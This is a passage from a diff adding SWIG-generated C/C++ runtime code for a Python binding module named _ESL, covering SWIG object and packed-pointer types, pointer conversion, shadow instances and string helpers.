+	(setattrfunc)0,			    /* tp_setattr */ 
+	(cmpfunc)PySwigObject_compare,	    /* tp_compare */ 
+	(reprfunc)PySwigObject_repr,	    /* tp_repr */    
+	&PySwigObject_as_number,	    /* tp_as_number */
+	0,				    /* tp_as_sequence */
+	0,				    /* tp_as_mapping */
+	(hashfunc)0,			    /* tp_hash */
+	(ternaryfunc)0,			    /* tp_call */
+	(reprfunc)PySwigObject_str,	    /* tp_str */
+	PyObject_GenericGetAttr,            /* tp_getattro */
+	0,				    /* tp_setattro */
+	0,		                    /* tp_as_buffer */
+	Py_TPFLAGS_DEFAULT,	            /* tp_flags */
+	swigobject_doc, 	            /* tp_doc */        
+	0,                                  /* tp_traverse */
+	0,                                  /* tp_clear */
+	0,                                  /* tp_richcompare */
+	0,                                  /* tp_weaklistoffset */
+#if PY_VERSION_HEX >= 0x02020000
+	0,                                  /* tp_iter */
+	0,                                  /* tp_iternext */
+	swigobject_methods,		    /* tp_methods */ 
+	0,			            /* tp_members */
+	0,				    /* tp_getset */	    	
+	0,			            /* tp_base */	        
+	0,				    /* tp_dict */	    	
+	0,				    /* tp_descr_get */  	
+	0,				    /* tp_descr_set */  	
+	0,				    /* tp_dictoffset */ 	
+	0,				    /* tp_init */	    	
+	0,				    /* tp_alloc */	    	
+	0,			            /* tp_new */	    	
+	0,	                            /* tp_free */	   
+        0,                                  /* tp_is_gc */  
+	0,				    /* tp_bases */   
+	0,				    /* tp_mro */
+	0,				    /* tp_cache */   
+ 	0,				    /* tp_subclasses */
+	0,				    /* tp_weaklist */
+#endif
+#if PY_VERSION_HEX >= 0x02030000
+	0,                                  /* tp_del */
+#endif
+#ifdef COUNT_ALLOCS
+	0,0,0,0                             /* tp_alloc -> tp_next */
+#endif
+      };
+    pyswigobject_type = tmp;
+    pyswigobject_type.ob_type = &PyType_Type;
+    type_init = 1;
+  }
+  return &pyswigobject_type;
+}
+
+SWIGRUNTIME PyObject *
+PySwigObject_New(void *ptr, swig_type_info *ty, int own)
+{
+  PySwigObject *sobj = PyObject_NEW(PySwigObject, PySwigObject_type());
+  if (sobj) {
+    sobj->ptr  = ptr;
+    sobj->ty   = ty;
+    sobj->own  = own;
+    sobj->next = 0;
+  }
+  return (PyObject *)sobj;
+}
+
+/* -----------------------------------------------------------------------------
+ * Implements a simple Swig Packed type, and use it instead of string
+ * ----------------------------------------------------------------------------- */
+
+typedef struct {
+  PyObject_HEAD
+  void *pack;
+  swig_type_info *ty;
+  size_t size;
+} PySwigPacked;
+
+SWIGRUNTIME int
+PySwigPacked_print(PySwigPacked *v, FILE *fp, int SWIGUNUSEDPARM(flags))
+{
+  char result[SWIG_BUFFER_SIZE];
+  fputs("<Swig Packed ", fp); 
+  if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) {
+    fputs("at ", fp); 
+    fputs(result, fp); 
+  }
+  fputs(v->ty->name,fp); 
+  fputs(">", fp);
+  return 0; 
+}
+  
+SWIGRUNTIME PyObject *
+PySwigPacked_repr(PySwigPacked *v)
+{
+  char result[SWIG_BUFFER_SIZE];
+  if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) {
+    return PyString_FromFormat("<Swig Packed at %s%s>", result, v->ty->name);
+  } else {
+    return PyString_FromFormat("<Swig Packed %s>", v->ty->name);
+  }  
+}
+
+SWIGRUNTIME PyObject *
+PySwigPacked_str(PySwigPacked *v)
+{
+  char result[SWIG_BUFFER_SIZE];
+  if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))){
+    return PyString_FromFormat("%s%s", result, v->ty->name);
+  } else {
+    return PyString_FromString(v->ty->name);
+  }  
+}
+
+SWIGRUNTIME int
+PySwigPacked_compare(PySwigPacked *v, PySwigPacked *w)
+{
+  size_t i = v->size;
+  size_t j = w->size;
+  int s = (i < j) ? -1 : ((i > j) ? 1 : 0);
+  return s ? s : strncmp((char *)v->pack, (char *)w->pack, 2*v->size);
+}
+
+SWIGRUNTIME PyTypeObject* _PySwigPacked_type(void);
+
+SWIGRUNTIME PyTypeObject*
+PySwigPacked_type(void) {
+  static PyTypeObject *SWIG_STATIC_POINTER(type) = _PySwigPacked_type();
+  return type;
+}
+
+SWIGRUNTIMEINLINE int
+PySwigPacked_Check(PyObject *op) {
+  return ((op)->ob_type == _PySwigPacked_type()) 
+    || (strcmp((op)->ob_type->tp_name,"PySwigPacked") == 0);
+}
+
+SWIGRUNTIME void
+PySwigPacked_dealloc(PyObject *v)
+{
+  if (PySwigPacked_Check(v)) {
+    PySwigPacked *sobj = (PySwigPacked *) v;
+    free(sobj->pack);
+  }
+  PyObject_DEL(v);
+}
+
+SWIGRUNTIME PyTypeObject*
+_PySwigPacked_type(void) {
+  static char swigpacked_doc[] = "Swig object carries a C/C++ instance pointer";
+  static PyTypeObject pyswigpacked_type;
+  static int type_init = 0;  
+  if (!type_init) {
+    const PyTypeObject tmp
+      = {
+	PyObject_HEAD_INIT(NULL)
+	0,				    /* ob_size */	
+	(char *)"PySwigPacked",		    /* tp_name */	
+	sizeof(PySwigPacked),		    /* tp_basicsize */	
+	0,				    /* tp_itemsize */	
+	(destructor)PySwigPacked_dealloc,   /* tp_dealloc */	
+	(printfunc)PySwigPacked_print,	    /* tp_print */   	
+	(getattrfunc)0,			    /* tp_getattr */ 	
+	(setattrfunc)0,			    /* tp_setattr */ 	
+	(cmpfunc)PySwigPacked_compare,	    /* tp_compare */ 	
+	(reprfunc)PySwigPacked_repr,	    /* tp_repr */    	
+	0,	                            /* tp_as_number */	
+	0,				    /* tp_as_sequence */
+	0,				    /* tp_as_mapping */	
+	(hashfunc)0,			    /* tp_hash */	
+	(ternaryfunc)0,			    /* tp_call */	
+	(reprfunc)PySwigPacked_str,	    /* tp_str */	
+	PyObject_GenericGetAttr,            /* tp_getattro */
+	0,				    /* tp_setattro */
+	0,		                    /* tp_as_buffer */
+	Py_TPFLAGS_DEFAULT,	            /* tp_flags */
+	swigpacked_doc, 	            /* tp_doc */
+	0,                                  /* tp_traverse */
+	0,                                  /* tp_clear */
+	0,                                  /* tp_richcompare */
+	0,                                  /* tp_weaklistoffset */
+#if PY_VERSION_HEX >= 0x02020000
+	0,                                  /* tp_iter */
+	0,                                  /* tp_iternext */
+	0,		                    /* tp_methods */ 
+	0,			            /* tp_members */
+	0,				    /* tp_getset */	    	
+	0,			            /* tp_base */	        
+	0,				    /* tp_dict */	    	
+	0,				    /* tp_descr_get */  	
+	0,				    /* tp_descr_set */  	
+	0,				    /* tp_dictoffset */ 	
+	0,				    /* tp_init */	    	
+	0,				    /* tp_alloc */	    	
+	0,			            /* tp_new */	    	
+	0, 	                            /* tp_free */	   
+        0,                                  /* tp_is_gc */  
+	0,				    /* tp_bases */   
+	0,				    /* tp_mro */
+	0,				    /* tp_cache */   
+ 	0,				    /* tp_subclasses */
+	0,				    /* tp_weaklist */
+#endif
+#if PY_VERSION_HEX >= 0x02030000
+	0,                                  /* tp_del */
+#endif
+#ifdef COUNT_ALLOCS
+	0,0,0,0                             /* tp_alloc -> tp_next */
+#endif
+      };
+    pyswigpacked_type = tmp;
+    pyswigpacked_type.ob_type = &PyType_Type;
+    type_init = 1;
+  }
+  return &pyswigpacked_type;
+}
+
+SWIGRUNTIME PyObject *
+PySwigPacked_New(void *ptr, size_t size, swig_type_info *ty)
+{
+  PySwigPacked *sobj = PyObject_NEW(PySwigPacked, PySwigPacked_type());
+  if (sobj) {
+    void *pack = malloc(size);
+    if (pack) {
+      memcpy(pack, ptr, size);
+      sobj->pack = pack;
+      sobj->ty   = ty;
+      sobj->size = size;
+    } else {
+      PyObject_DEL((PyObject *) sobj);
+      sobj = 0;
+    }
+  }
+  return (PyObject *) sobj;
+}
+
+SWIGRUNTIME swig_type_info *
+PySwigPacked_UnpackData(PyObject *obj, void *ptr, size_t size)
+{
+  if (PySwigPacked_Check(obj)) {
+    PySwigPacked *sobj = (PySwigPacked *)obj;
+    if (sobj->size != size) return 0;
+    memcpy(ptr, sobj->pack, size);
+    return sobj->ty;
+  } else {
+    return 0;
+  }
+}
+
+/* -----------------------------------------------------------------------------
+ * pointers/data manipulation
+ * ----------------------------------------------------------------------------- */
+
+SWIGRUNTIMEINLINE PyObject *
+_SWIG_This(void)
+{
+  return PyString_FromString("this");
+}
+
+SWIGRUNTIME PyObject *
+SWIG_This(void)
+{
+  static PyObject *SWIG_STATIC_POINTER(swig_this) = _SWIG_This();
+  return swig_this;
+}
+
+/* #define SWIG_PYTHON_SLOW_GETSET_THIS */
+
+SWIGRUNTIME PySwigObject *
+SWIG_Python_GetSwigThis(PyObject *pyobj) 
+{
+  if (PySwigObject_Check(pyobj)) {
+    return (PySwigObject *) pyobj;
+  } else {
+    PyObject *obj = 0;
+#if (!defined(SWIG_PYTHON_SLOW_GETSET_THIS) && (PY_VERSION_HEX >= 0x02030000))
+    if (PyInstance_Check(pyobj)) {
+      obj = _PyInstance_Lookup(pyobj, SWIG_This());      
+    } else {
+      PyObject **dictptr = _PyObject_GetDictPtr(pyobj);
+      if (dictptr != NULL) {
+	PyObject *dict = *dictptr;
+	obj = dict ? PyDict_GetItem(dict, SWIG_This()) : 0;
+      } else {
+#ifdef PyWeakref_CheckProxy
+	if (PyWeakref_CheckProxy(pyobj)) {
+	  PyObject *wobj = PyWeakref_GET_OBJECT(pyobj);
+	  return wobj ? SWIG_Python_GetSwigThis(wobj) : 0;
+	}
+#endif
+	obj = PyObject_GetAttr(pyobj,SWIG_This());
+	if (obj) {
+	  Py_DECREF(obj);
+	} else {
+	  if (PyErr_Occurred()) PyErr_Clear();
+	  return 0;
+	}
+      }
+    }
+#else
+    obj = PyObject_GetAttr(pyobj,SWIG_This());
+    if (obj) {
+      Py_DECREF(obj);
+    } else {
+      if (PyErr_Occurred()) PyErr_Clear();
+      return 0;
+    }
+#endif
+    if (obj && !PySwigObject_Check(obj)) {
+      /* a PyObject is called 'this', try to get the 'real this'
+	 PySwigObject from it */ 
+      return SWIG_Python_GetSwigThis(obj);
+    }
+    return (PySwigObject *)obj;
+  }
+}
+
+/* Acquire a pointer value */
+
+SWIGRUNTIME int
+SWIG_Python_AcquirePtr(PyObject *obj, int own) {
+  if (own == SWIG_POINTER_OWN) {
+    PySwigObject *sobj = SWIG_Python_GetSwigThis(obj);
+    if (sobj) {
+      int oldown = sobj->own;
+      sobj->own = own;
+      return oldown;
+    }
+  }
+  return 0;
+}
+
+/* Convert a pointer value */
+
+SWIGRUNTIME int
+SWIG_Python_ConvertPtrAndOwn(PyObject *obj, void **ptr, swig_type_info *ty, int flags, int *own) {
+  if (!obj) return SWIG_ERROR;
+  if (obj == Py_None) {
+    if (ptr) *ptr = 0;
+    return SWIG_OK;
+  } else {
+    PySwigObject *sobj = SWIG_Python_GetSwigThis(obj);
+    if (own)
+      *own = 0;
+    while (sobj) {
+      void *vptr = sobj->ptr;
+      if (ty) {
+	swig_type_info *to = sobj->ty;
+	if (to == ty) {
+	  /* no type cast needed */
+	  if (ptr) *ptr = vptr;
+	  break;
+	} else {
+	  swig_cast_info *tc = SWIG_TypeCheck(to->name,ty);
+	  if (!tc) {
+	    sobj = (PySwigObject *)sobj->next;
+	  } else {
+	    if (ptr) {
+              int newmemory = 0;
+              *ptr = SWIG_TypeCast(tc,vptr,&newmemory);
+              if (newmemory == SWIG_CAST_NEW_MEMORY) {
+                assert(own);
+                if (own)
+                  *own = *own | SWIG_CAST_NEW_MEMORY;
+              }
+            }
+	    break;
+	  }
+	}
+      } else {
+	if (ptr) *ptr = vptr;
+	break;
+      }
+    }
+    if (sobj) {
+      if (own)
+        *own = *own | sobj->own;
+      if (flags & SWIG_POINTER_DISOWN) {
+	sobj->own = 0;
+      }
+      return SWIG_OK;
+    } else {
+      int res = SWIG_ERROR;
+      if (flags & SWIG_POINTER_IMPLICIT_CONV) {
+	PySwigClientData *data = ty ? (PySwigClientData *) ty->clientdata : 0;
+	if (data && !data->implicitconv) {
+	  PyObject *klass = data->klass;
+	  if (klass) {
+	    PyObject *impconv;
+	    data->implicitconv = 1; /* avoid recursion and call 'explicit' constructors*/
+	    impconv = SWIG_Python_CallFunctor(klass, obj);
+	    data->implicitconv = 0;
+	    if (PyErr_Occurred()) {
+	      PyErr_Clear();
+	      impconv = 0;
+	    }
+	    if (impconv) {
+	      PySwigObject *iobj = SWIG_Python_GetSwigThis(impconv);
+	      if (iobj) {
+		void *vptr;
+		res = SWIG_Python_ConvertPtrAndOwn((PyObject*)iobj, &vptr, ty, 0, 0);
+		if (SWIG_IsOK(res)) {
+		  if (ptr) {
+		    *ptr = vptr;
+		    /* transfer the ownership to 'ptr' */
+		    iobj->own = 0;
+		    res = SWIG_AddCast(res);
+		    res = SWIG_AddNewMask(res);
+		  } else {
+		    res = SWIG_AddCast(res);		    
+		  }
+		}
+	      }
+	      Py_DECREF(impconv);
+	    }
+	  }
+	}
+      }
+      return res;
+    }
+  }
+}
+
+/* Convert a function ptr value */
+
+SWIGRUNTIME int
+SWIG_Python_ConvertFunctionPtr(PyObject *obj, void **ptr, swig_type_info *ty) {
+  if (!PyCFunction_Check(obj)) {
+    return SWIG_ConvertPtr(obj, ptr, ty, 0);
+  } else {
+    void *vptr = 0;
+    
+    /* here we get the method pointer for callbacks */
+    const char *doc = (((PyCFunctionObject *)obj) -> m_ml -> ml_doc);
+    const char *desc = doc ? strstr(doc, "swig_ptr: ") : 0;
+    if (desc) {
+      desc = ty ? SWIG_UnpackVoidPtr(desc + 10, &vptr, ty->name) : 0;
+      if (!desc) return SWIG_ERROR;
+    }
+    if (ty) {
+      swig_cast_info *tc = SWIG_TypeCheck(desc,ty);
+      if (tc) {
+        int newmemory = 0;
+        *ptr = SWIG_TypeCast(tc,vptr,&newmemory);
+        assert(!newmemory); /* newmemory handling not yet implemented */
+      } else {
+        return SWIG_ERROR;
+      }
+    } else {
+      *ptr = vptr;
+    }
+    return SWIG_OK;
+  }
+}
+
+/* Convert a packed value value */
+
+SWIGRUNTIME int
+SWIG_Python_ConvertPacked(PyObject *obj, void *ptr, size_t sz, swig_type_info *ty) {
+  swig_type_info *to = PySwigPacked_UnpackData(obj, ptr, sz);
+  if (!to) return SWIG_ERROR;
+  if (ty) {
+    if (to != ty) {
+      /* check type cast? */
+      swig_cast_info *tc = SWIG_TypeCheck(to->name,ty);
+      if (!tc) return SWIG_ERROR;
+    }
+  }
+  return SWIG_OK;
+}  
+
+/* -----------------------------------------------------------------------------
+ * Create a new pointer object
+ * ----------------------------------------------------------------------------- */
+
+/*
+  Create a new instance object, whitout calling __init__, and set the
+  'this' attribute.
+*/
+
+SWIGRUNTIME PyObject* 
+SWIG_Python_NewShadowInstance(PySwigClientData *data, PyObject *swig_this)
+{
+#if (PY_VERSION_HEX >= 0x02020000)
+  PyObject *inst = 0;
+  PyObject *newraw = data->newraw;
+  if (newraw) {
+    inst = PyObject_Call(newraw, data->newargs, NULL);
+    if (inst) {
+#if !defined(SWIG_PYTHON_SLOW_GETSET_THIS)
+      PyObject **dictptr = _PyObject_GetDictPtr(inst);
+      if (dictptr != NULL) {
+	PyObject *dict = *dictptr;
+	if (dict == NULL) {
+	  dict = PyDict_New();
+	  *dictptr = dict;
+	  PyDict_SetItem(dict, SWIG_This(), swig_this);
+	}
+      }
+#else
+      PyObject *key = SWIG_This();
+      PyObject_SetAttr(inst, key, swig_this);
+#endif
+    }
+  } else {
+    PyObject *dict = PyDict_New();
+    PyDict_SetItem(dict, SWIG_This(), swig_this);
+    inst = PyInstance_NewRaw(data->newargs, dict);
+    Py_DECREF(dict);
+  }
+  return inst;
+#else
+#if (PY_VERSION_HEX >= 0x02010000)
+  PyObject *inst;
+  PyObject *dict = PyDict_New();
+  PyDict_SetItem(dict, SWIG_This(), swig_this);
+  inst = PyInstance_NewRaw(data->newargs, dict);
+  Py_DECREF(dict);
+  return (PyObject *) inst;
+#else
+  PyInstanceObject *inst = PyObject_NEW(PyInstanceObject, &PyInstance_Type);
+  if (inst == NULL) {
+    return NULL;
+  }
+  inst->in_class = (PyClassObject *)data->newargs;
+  Py_INCREF(inst->in_class);
+  inst->in_dict = PyDict_New();
+  if (inst->in_dict == NULL) {
+    Py_DECREF(inst);
+    return NULL;
+  }
+#ifdef Py_TPFLAGS_HAVE_WEAKREFS
+  inst->in_weakreflist = NULL;
+#endif
+#ifdef Py_TPFLAGS_GC
+  PyObject_GC_Init(inst);
+#endif
+  PyDict_SetItem(inst->in_dict, SWIG_This(), swig_this);
+  return (PyObject *) inst;
+#endif
+#endif
+}
+
+SWIGRUNTIME void
+SWIG_Python_SetSwigThis(PyObject *inst, PyObject *swig_this)
+{
+ PyObject *dict;
+#if (PY_VERSION_HEX >= 0x02020000) && !defined(SWIG_PYTHON_SLOW_GETSET_THIS)
+ PyObject **dictptr = _PyObject_GetDictPtr(inst);
+ if (dictptr != NULL) {
+   dict = *dictptr;
+   if (dict == NULL) {
+     dict = PyDict_New();
+     *dictptr = dict;
+   }
+   PyDict_SetItem(dict, SWIG_This(), swig_this);
+   return;
+ }
+#endif
+ dict = PyObject_GetAttrString(inst, (char*)"__dict__");
+ PyDict_SetItem(dict, SWIG_This(), swig_this);
+ Py_DECREF(dict);
+} 
+
+
+SWIGINTERN PyObject *
+SWIG_Python_InitShadowInstance(PyObject *args) {
+  PyObject *obj[2];
+  if (!SWIG_Python_UnpackTuple(args,(char*)"swiginit", 2, 2, obj)) {
+    return NULL;
+  } else {
+    PySwigObject *sthis = SWIG_Python_GetSwigThis(obj[0]);
+    if (sthis) {
+      PySwigObject_append((PyObject*) sthis, obj[1]);
+    } else {
+      SWIG_Python_SetSwigThis(obj[0], obj[1]);
+    }
+    return SWIG_Py_Void();
+  }
+}
+
+/* Create a new pointer object */
+
+SWIGRUNTIME PyObject *
+SWIG_Python_NewPointerObj(void *ptr, swig_type_info *type, int flags) {
+  if (!ptr) {
+    return SWIG_Py_Void();
+  } else {
+    int own = (flags & SWIG_POINTER_OWN) ? SWIG_POINTER_OWN : 0;
+    PyObject *robj = PySwigObject_New(ptr, type, own);
+    PySwigClientData *clientdata = type ? (PySwigClientData *)(type->clientdata) : 0;
+    if (clientdata && !(flags & SWIG_POINTER_NOSHADOW)) {
+      PyObject *inst = SWIG_Python_NewShadowInstance(clientdata, robj);
+      if (inst) {
+	Py_DECREF(robj);
+	robj = inst;
+      }
+    }
+    return robj;
+  }
+}
+
+/* Create a new packed object */
+
+SWIGRUNTIMEINLINE PyObject *
+SWIG_Python_NewPackedObj(void *ptr, size_t sz, swig_type_info *type) {
+  return ptr ? PySwigPacked_New((void *) ptr, sz, type) : SWIG_Py_Void();
+}
+
+/* -----------------------------------------------------------------------------*
+ *  Get type list 
+ * -----------------------------------------------------------------------------*/
+
+#ifdef SWIG_LINK_RUNTIME
+void *SWIG_ReturnGlobalTypeList(void *);
+#endif
+
+SWIGRUNTIME swig_module_info *
+SWIG_Python_GetModule(void) {
+  static void *type_pointer = (void *)0;
+  /* first check if module already created */
+  if (!type_pointer) {
+#ifdef SWIG_LINK_RUNTIME
+    type_pointer = SWIG_ReturnGlobalTypeList((void *)0);
+#else
+    type_pointer = PyCObject_Import((char*)"swig_runtime_data" SWIG_RUNTIME_VERSION,
+				    (char*)"type_pointer" SWIG_TYPE_TABLE_NAME);
+    if (PyErr_Occurred()) {
+      PyErr_Clear();
+      type_pointer = (void *)0;
+    }
+#endif
+  }
+  return (swig_module_info *) type_pointer;
+}
+
+#if PY_MAJOR_VERSION < 2
+/* PyModule_AddObject function was introduced in Python 2.0.  The following function
+   is copied out of Python/modsupport.c in python version 2.3.4 */
+SWIGINTERN int
+PyModule_AddObject(PyObject *m, char *name, PyObject *o)
+{
+  PyObject *dict;
+  if (!PyModule_Check(m)) {
+    PyErr_SetString(PyExc_TypeError,
+		    "PyModule_AddObject() needs module as first arg");
+    return SWIG_ERROR;
+  }
+  if (!o) {
+    PyErr_SetString(PyExc_TypeError,
+		    "PyModule_AddObject() needs non-NULL value");
+    return SWIG_ERROR;
+  }
+  
+  dict = PyModule_GetDict(m);
+  if (dict == NULL) {
+    /* Internal error -- modules must have a dict! */
+    PyErr_Format(PyExc_SystemError, "module '%s' has no __dict__",
+		 PyModule_GetName(m));
+    return SWIG_ERROR;
+  }
+  if (PyDict_SetItemString(dict, name, o))
+    return SWIG_ERROR;
+  Py_DECREF(o);
+  return SWIG_OK;
+}
+#endif
+
+SWIGRUNTIME void
+SWIG_Python_DestroyModule(void *vptr)
+{
+  swig_module_info *swig_module = (swig_module_info *) vptr;
+  swig_type_info **types = swig_module->types;
+  size_t i;
+  for (i =0; i < swig_module->size; ++i) {
+    swig_type_info *ty = types[i];
+    if (ty->owndata) {
+      PySwigClientData *data = (PySwigClientData *) ty->clientdata;
+      if (data) PySwigClientData_Del(data);
+    }
+  }
+  Py_DECREF(SWIG_This());
+}
+
+SWIGRUNTIME void
+SWIG_Python_SetModule(swig_module_info *swig_module) {
+  static PyMethodDef swig_empty_runtime_method_table[] = { {NULL, NULL, 0, NULL} };/* Sentinel */
+
+  PyObject *module = Py_InitModule((char*)"swig_runtime_data" SWIG_RUNTIME_VERSION,
+				   swig_empty_runtime_method_table);
+  PyObject *pointer = PyCObject_FromVoidPtr((void *) swig_module, SWIG_Python_DestroyModule);
+  if (pointer && module) {
+    PyModule_AddObject(module, (char*)"type_pointer" SWIG_TYPE_TABLE_NAME, pointer);
+  } else {
+    Py_XDECREF(pointer);
+  }
+}
+
+/* The python cached type query */
+SWIGRUNTIME PyObject *
+SWIG_Python_TypeCache(void) {
+  static PyObject *SWIG_STATIC_POINTER(cache) = PyDict_New();
+  return cache;
+}
+
+SWIGRUNTIME swig_type_info *
+SWIG_Python_TypeQuery(const char *type)
+{
+  PyObject *cache = SWIG_Python_TypeCache();
+  PyObject *key = PyString_FromString(type); 
+  PyObject *obj = PyDict_GetItem(cache, key);
+  swig_type_info *descriptor;
+  if (obj) {
+    descriptor = (swig_type_info *) PyCObject_AsVoidPtr(obj);
+  } else {
+    swig_module_info *swig_module = SWIG_Python_GetModule();
+    descriptor = SWIG_TypeQueryModule(swig_module, swig_module, type);
+    if (descriptor) {
+      obj = PyCObject_FromVoidPtr(descriptor, NULL);
+      PyDict_SetItem(cache, key, obj);
+      Py_DECREF(obj);
+    }
+  }
+  Py_DECREF(key);
+  return descriptor;
+}
+
+/* 
+   For backward compatibility only
+*/
+#define SWIG_POINTER_EXCEPTION  0
+#define SWIG_arg_fail(arg)      SWIG_Python_ArgFail(arg)
+#define SWIG_MustGetPtr(p, type, argnum, flags)  SWIG_Python_MustGetPtr(p, type, argnum, flags)
+
+SWIGRUNTIME int
+SWIG_Python_AddErrMesg(const char* mesg, int infront)
+{
+  if (PyErr_Occurred()) {
+    PyObject *type = 0;
+    PyObject *value = 0;
+    PyObject *traceback = 0;
+    PyErr_Fetch(&type, &value, &traceback);
+    if (value) {
+      PyObject *old_str = PyObject_Str(value);
+      Py_XINCREF(type);
+      PyErr_Clear();
+      if (infront) {
+	PyErr_Format(type, "%s %s", mesg, PyString_AsString(old_str));
+      } else {
+	PyErr_Format(type, "%s %s", PyString_AsString(old_str), mesg);
+      }
+      Py_DECREF(old_str);
+    }
+    return 1;
+  } else {
+    return 0;
+  }
+}
+  
+SWIGRUNTIME int
+SWIG_Python_ArgFail(int argnum)
+{
+  if (PyErr_Occurred()) {
+    /* add information about failing argument */
+    char mesg[256];
+    PyOS_snprintf(mesg, sizeof(mesg), "argument number %d:", argnum);
+    return SWIG_Python_AddErrMesg(mesg, 1);
+  } else {
+    return 0;
+  }
+}
+
+SWIGRUNTIMEINLINE const char *
+PySwigObject_GetDesc(PyObject *self)
+{
+  PySwigObject *v = (PySwigObject *)self;
+  swig_type_info *ty = v ? v->ty : 0;
+  return ty ? ty->str : (char*)"";
+}
+
+SWIGRUNTIME void
+SWIG_Python_TypeError(const char *type, PyObject *obj)
+{
+  if (type) {
+#if defined(SWIG_COBJECT_TYPES)
+    if (obj && PySwigObject_Check(obj)) {
+      const char *otype = (const char *) PySwigObject_GetDesc(obj);
+      if (otype) {
+	PyErr_Format(PyExc_TypeError, "a '%s' is expected, 'PySwigObject(%s)' is received",
+		     type, otype);
+	return;
+      }
+    } else 
+#endif      
+    {
+      const char *otype = (obj ? obj->ob_type->tp_name : 0); 
+      if (otype) {
+	PyObject *str = PyObject_Str(obj);
+	const char *cstr = str ? PyString_AsString(str) : 0;
+	if (cstr) {
+	  PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s(%s)' is received",
+		       type, otype, cstr);
+	} else {
+	  PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s' is received",
+		       type, otype);
+	}
+	Py_XDECREF(str);
+	return;
+      }
+    }   
+    PyErr_Format(PyExc_TypeError, "a '%s' is expected", type);
+  } else {
+    PyErr_Format(PyExc_TypeError, "unexpected type is received");
+  }
+}
+
+
+/* Convert a pointer value, signal an exception on a type mismatch */
+SWIGRUNTIME void *
+SWIG_Python_MustGetPtr(PyObject *obj, swig_type_info *ty, int argnum, int flags) {
+  void *result;
+  if (SWIG_Python_ConvertPtr(obj, &result, ty, flags) == -1) {
+    PyErr_Clear();
+    if (flags & SWIG_POINTER_EXCEPTION) {
+      SWIG_Python_TypeError(SWIG_TypePrettyName(ty), obj);
+      SWIG_Python_ArgFail(argnum);
+    }
+  }
+  return result;
+}
+
+
+#ifdef __cplusplus
+#if 0
+{ /* cc-mode */
+#endif
+}
+#endif
+
+
+
+#define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) 
+
+#define SWIG_contract_assert(expr, msg) if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } else 
+
+
+
+/* -------- TYPES TABLE (BEGIN) -------- */
+
+#define SWIGTYPE_p_ESLconnection swig_types[0]
+#define SWIGTYPE_p_ESLevent swig_types[1]
+#define SWIGTYPE_p_char swig_types[2]
+#define SWIGTYPE_p_esl_event_t swig_types[3]
+#define SWIGTYPE_p_esl_priority_t swig_types[4]
+static swig_type_info *swig_types[6];
+static swig_module_info swig_module = {swig_types, 5, 0, 0, 0, 0};
+#define SWIG_TypeQuery(name) SWIG_TypeQueryModule(&swig_module, &swig_module, name)
+#define SWIG_MangledTypeQuery(name) SWIG_MangledTypeQueryModule(&swig_module, &swig_module, name)
+
+/* -------- TYPES TABLE (END) -------- */
+
+#if (PY_VERSION_HEX <= 0x02000000)
+# if !defined(SWIG_PYTHON_CLASSIC)
+#  error "This python version requires swig to be run with the '-classic' option"
+# endif
+#endif
+
+/*-----------------------------------------------
+              @(target):= _ESL.so
+  ------------------------------------------------*/
+#define SWIG_init    init_ESL
+
+#define SWIG_name    "_ESL"
+
+#define SWIGVERSION 0x010335 
+#define SWIG_VERSION SWIGVERSION
+
+
+#define SWIG_as_voidptr(a) const_cast< void * >(static_cast< const void * >(a)) 
+#define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),reinterpret_cast< void** >(a)) 
+
+
+#include <stdexcept>
+
+
+namespace swig {
+  class PyObject_ptr {
+  protected:
+    PyObject *_obj;
+
+  public:
+    PyObject_ptr() :_obj(0)
+    {
+    }
+
+    PyObject_ptr(const PyObject_ptr& item) : _obj(item._obj)
+    {
+      Py_XINCREF(_obj);      
+    }
+    
+    PyObject_ptr(PyObject *obj, bool initial_ref = true) :_obj(obj)
+    {
+      if (initial_ref) {
+        Py_XINCREF(_obj);
+      }
+    }
+    
+    PyObject_ptr & operator=(const PyObject_ptr& item) 
+    {
+      Py_XINCREF(item._obj);
+      Py_XDECREF(_obj);
+      _obj = item._obj;
+      return *this;      
+    }
+    
+    ~PyObject_ptr() 
+    {
+      Py_XDECREF(_obj);
+    }
+    
+    operator PyObject *() const
+    {
+      return _obj;
+    }
+
+    PyObject *operator->() const
+    {
+      return _obj;
+    }
+  };
+}
+
+
+namespace swig {
+  struct PyObject_var : PyObject_ptr {
+    PyObject_var(PyObject* obj = 0) : PyObject_ptr(obj, false) { }
+    
+    PyObject_var & operator = (PyObject* obj)
+    {
+      Py_XDECREF(_obj);
+      _obj = obj;
+      return *this;      
+    }
+  };
+}
+
+
+#include "esl.h"
+#include "esl_oop.h"
+
+
+SWIGINTERN swig_type_info*
+SWIG_pchar_descriptor(void)
+{
+  static int init = 0;
+  static swig_type_info* info = 0;
+  if (!init) {
+    info = SWIG_TypeQuery("_p_char");
+    init = 1;
+  }
+  return info;
+}
+
+
+SWIGINTERN int
+SWIG_AsCharPtrAndSize(PyObject *obj, char** cptr, size_t* psize, int *alloc)
+{
+  if (PyString_Check(obj)) {
+    char *cstr; Py_ssize_t len;
+    PyString_AsStringAndSize(obj, &cstr, &len);
+    if (cptr)  {
+      if (alloc) {
+	/* 
+	   In python the user should not be able to modify the inner
+	   string representation. To warranty that, if you define
+	   SWIG_PYTHON_SAFE_CSTRINGS, a new/copy of the python string
+	   buffer is always returned.
+
+	   The default behavior is just to return the pointer value,
+	   so, be careful.
+	*/ 
+#if defined(SWIG_PYTHON_SAFE_CSTRINGS)
+	if (*alloc != SWIG_OLDOBJ) 
+#else
+	if (*alloc == SWIG_NEWOBJ) 
+#endif
+	  {
+	    *cptr = reinterpret_cast< char* >(memcpy((new char[len + 1]), cstr, sizeof(char)*(len + 1)));
+	    *alloc = SWIG_NEWOBJ;
+	  }
+	else {
+	  *cptr = cstr;
+	  *alloc = SWIG_OLDOBJ;
+	}
+      } else {
+	*cptr = PyString_AsString(obj);
+      }
+    }
+    if (psize) *psize = len + 1;
+    return SWIG_OK;
+  } else {
+    swig_type_info* pchar_descriptor = SWIG_pchar_descriptor();
+    if (pchar_descriptor) {
+      void* vptr = 0;
+      if (SWIG_ConvertPtr(obj, &vptr, pchar_descriptor, 0) == SWIG_OK) {
